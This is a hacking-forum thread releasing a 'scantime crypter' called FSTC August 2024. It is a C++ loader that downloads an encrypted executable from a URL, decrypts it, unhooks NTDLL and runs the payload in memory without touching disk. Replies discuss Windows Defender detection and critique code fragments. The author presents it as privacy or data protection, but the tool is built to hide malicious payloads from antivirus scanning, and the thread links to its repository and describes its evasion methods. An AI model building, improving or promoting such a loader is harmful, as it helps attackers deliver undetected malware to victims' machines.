Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

FSTC August - Fallen Scantime Crypter

[Image: banner-1.gif]

[Image: icon-1.png] Fallen Scantime Crypter [Image: icon-1.png]

FSTC August 2024

This is a scantime protection program that will download your PE from a set URL, decrypt it with a static key & IV, and then inject the PE/full exe to memory without a file drop. You may find that it has good runtime, but the purpose of this codebase was originally intended for scantime only.

Git Links:

Current version:
https://github.com/LNodesL/FSTC-August-2024/tree/main

Original method (drops file to CWD & runs as process) - Not recommended:
https://github.com/LNodesL/FSTC-August-2...un-process


[Image: divider-gif.gif]

We at Fallen hope that this codebase can be used for your personal research, testing, and learning. If you have any questions please ask below. This codebase is a mix of concepts, using the wininet library to download, bcrypt to handle encryption/decryption, an unhooking method that attempts to prevent malicious programs from inspecting the program in runtime for data security, and a method to load the PE.




Source Code
Spoiler (Click to View)



Future Notes:
  • allow builder to modify the final FSTC.exe program's resources or other data to make it easier to build for a new payload/URL without re-compiling
  • move download & decrypt functions to helpers.cpp



AI Notes
Spoiler (Click to View)

[Image: divider.png]
You do impressive work.
(Aug 9, 2024 07:08 PM)DramaKing Wrote:  You do impressive work.

Thanks, much appreciated
Hope this can help someone learn more about C++
pretty standard stuff. good resource.
damn youre so good at helping others figure out the how-tos and internals very good job
(Aug 9, 2024 09:57 PM)ttbr0 Wrote:  pretty standard stuff. good resource.

Yeah, some of these methods are a couple or a few years old now. However, I think for scantime these methods work great for protecting your secure data, for personal privacy, etc. They are the beginning steps of further runtime protection, using memory methods and controlling hooks.

(Aug 10, 2024 04:13 PM)mootme Wrote:  damn youre so good at helping others figure out the how-tos and internals very good job

Thanks, I appreciate it mootme
I hope to help users develop their own software and this is how I learn things myself - practice to get better, etc.
by IV you mean initialization vector right?
(Aug 11, 2024 04:51 AM)SovietBastard Wrote:  by IV you mean initialization vector right?

Yes exactly!
This encryption algo requires the key and IV to be valid
(Aug 11, 2024 04:53 AM)Hackers Wrote:  Yes exactly!
This encryption algo requires the key and IV to be valid

thanks, is it 16/16 bytes for block size? also what mode of operation does it use? CBC? GCM? EAX? let me guess........... CBC?
Thank you, what a great idea. I tried using it but Windows Defender detected it too quickly. Or did I do something wrong in some step
(Aug 12, 2024 02:42 AM)namnam242 Wrote:  Thank you, what a great idea. I tried using it but Windows Defender detected it too quickly. Or did I do something wrong in some step

This is just a scan time protector so I’m not sure about Defender in runtime.
A lot of copy pasted code, which is clear because nobody uses "goto" in 2024.
LoadPE is copy pasted, there is no support for binaries without relocations, what about SEH exceptions? TLS callbacks? Unhooking NTDLL is a very bad idea and is also pasted, Reading the WHOLE NTDLL just to replace text section? Why? Why do you not use known DLLS directory? It is already loaded in the process!
Can you give credits to people you took it from?

Code
DWORD oldProtect;
Not initiating variables..


Code
if (sectionHeader[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) {
            VirtualProtect(sectionAddress, sectionHeader[i].SizeOfRawData, PAGE_EXECUTE_READ, &oldProtect);
        }
        else if (sectionHeader[i].Characteristics & IMAGE_SCN_MEM_WRITE) {
            VirtualProtect(sectionAddress, sectionHeader[i].SizeOfRawData, PAGE_READWRITE, &oldProtect);
        }
        else {
            VirtualProtect(sectionAddress, sectionHeader[i].SizeOfRawData, PAGE_READONLY, &oldProtect);
        }

Why not single line?
This is useless today (Maybe in 2010 it wasn't) because either way your memory will be considered NON mem image.. Which means it was allocated on the fly, same flag by EDR/AV with proper mem scan.

Code
BOOL bSTATE = TRUE;

Why? Why do you need BOOL and not bool?


Code
if (strncmp((char*)pSectionHeader[i].Name, ".text", 5) == 0) {

You heard about std::string_view?

Code
PWORD relocData = (PWORD)(reloc + 1);
Why? Without comment? Why not define a proper struct and use it instead?

Code
pTmpBytes = (PBYTE)LocalAlloc(LPTR, 1024);

Why LocalAlloc? And not HeapAlloc? You already used HeapAlloc.

Please refactor it, fix all mistakes and tag me when you done and I will recheck the quality of code.

Anyways, thanks for sharing.
(Aug 12, 2024 05:44 AM)blyat1337 Wrote:  A lot of copy pasted code, which is clear because nobody uses "goto" in 2024.
LoadPE is copy pasted, there is no support for binaries without relocations, what about SEH exceptions? TLS callbacks? Unhooking NTDLL is a very bad idea and is also pasted, Reading the WHOLE NTDLL just to replace text section? Why? Why do you not use known DLLS directory? It is already loaded in the process!
Can you give credits to people you took it from?

Code
DWORD oldProtect;
Not initiating variables..


Code
if (sectionHeader[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) {
            VirtualProtect(sectionAddress, sectionHeader[i].SizeOfRawData, PAGE_EXECUTE_READ, &oldProtect);
        }
        else if (sectionHeader[i].Characteristics & IMAGE_SCN_MEM_WRITE) {
            VirtualProtect(sectionAddress, sectionHeader[i].SizeOfRawData, PAGE_READWRITE, &oldProtect);
        }
        else {
            VirtualProtect(sectionAddress, sectionHeader[i].SizeOfRawData, PAGE_READONLY, &oldProtect);
        }

Why not single line?
This is useless today (Maybe in 2010 it wasn't) because either way your memory will be considered NON mem image.. Which means it was allocated on the fly, same flag by EDR/AV with proper mem scan.

Code
BOOL bSTATE = TRUE;

Why? Why do you need BOOL and not bool?


Code
if (strncmp((char*)pSectionHeader[i].Name, ".text", 5) == 0) {

You heard about std::string_view?

Code
PWORD relocData = (PWORD)(reloc + 1);
Why? Without comment? Why not define a proper struct and use it instead?

Code
pTmpBytes = (PBYTE)LocalAlloc(LPTR, 1024);

Why LocalAlloc? And not HeapAlloc? You already used HeapAlloc.

Please refactor it, fix all mistakes and tag me when you done and I will recheck the quality of code.

Anyways, thanks for sharing.

"Please refactor it, fix all mistakes and tag me when you done and I will recheck the quality of code."
- lmao, no.

Noted, thanks!
Yes, used AI to mix a bunch of old code together. None of this is taken or stolen from anyone else.
I took two codebases of mine, fed to an LLM to bring methods for memory into another.

I'm not going to refactor anything. You come to every thread with valid criticism, but your attitude is poor. This is a release to help people see ideas, learn from it, and write their own code, not a thread for me to spend more time on after initial release.

It works fine for the goal of this thread:
- scantime
- download from URL
- push to memory without a file drop

As I said to you last time, write your own threads and share your own code.
Your feedback is valid, but if you aren't releasing free code to HF, we just aren't on the same level. You should also keep in mind I only started learning C++ this year, so you are acting pretty high and mighty in your feedback to me - a self-described beginner.
Oh the goto comment:
- we were talking about a meme of goto in Fallen TG the other day and why it’s so shit

- I still wanted to give Goto a try

- asked LLM to handle memory cleanup with one

- worked fine for this small program

- agree with you that goto is not modern and why it shouldn’t be used but it doesn’t cause any issues here and works

(Aug 12, 2024 06:24 AM)blyat1337 Wrote:  You are stubborn for no reason, I thought you had improved but your cockiness is ruining your progress. This code is very bad and can't be used in real scenario.
If you are already releasing something, why not do it in the best way possible? Why post it in github? People who know C/C++ will have bad time with this code and will rather start from 0/

Last time I checked, writing AI based posts is not allowed on HF so please remove this post.
Attributing an AI based code to Fallen is crazy work.. but who am I to judge the quality of the group.

It’s not an AI based post. People are allowed to use AI in projects. You sound stubborn and outdated.

Write your own code to share. I assume you’re just jealous mate :)

It’s a working loader, I understand there are mistakes. I’m an amateur beginner C++ coder. I’m fine with your assessment, not stubborn or ignorant. I just don’t plan to update this codebase.
- I can learn as I go, release another codebase with improvements & mistakes, and still keep going
- There is absolutely no rule that says every release must be 100% perfect, and every git must be maintained
- I have 0 plans to maintain FSTC August or to release any updates
- If you want to fix it or improve it, go for it

—-

FSTC October will likely be out next month! Keep your eyes out all <3
Don’t forget to check out FALLEN-

I also have a .NET version of FSTC August which works great for memory methods, scantime, etc!
(Aug 9, 2024 05:59 PM)Hackers Wrote:  If you are replying to me in a thread, please quote me or I will most likely not see your response.

1- Sir once again, Great work, i've been away for a month and im happy to see you still working on good guides, actualy fun to follow and work with it.

2- I'd like to ask you; Will the September edition be a Begenning to Last Step - by - Step guideline to follow from all your post ? Which could help lots of people to understand where to start and figure more likely if they're being on the right road.

(Aug 9, 2024 09:57 PM)ttbr0 Wrote:  pretty standard stuff. good resource.

- I'm greatly agreed with this, these are very important base that users should be learning has a simple "Standart".
I don't understand what happenned with the time but, back in the past, we use to have so many good guide and users in HF bringing the quality in !
I hope there will be some more new user's like him.
Rate+ are apreciated has well :)


Possibly Related Threads...
Thread / Author Replies Views Last Post
by Tyrone JohnsonMar 12, 2025 04:17 PM 1 501 Mar 12, 2025 04:17 PM
Last Post: DramaKing
by DramaKingOct 6, 2024 03:17 PM 16 1,153 Oct 6, 2024 03:17 PM
Last Post: DramaKing
by HelixCopterOct 17, 2021 01:52 AM 2 391 Oct 17, 2021 01:52 AM
Last Post: NotKover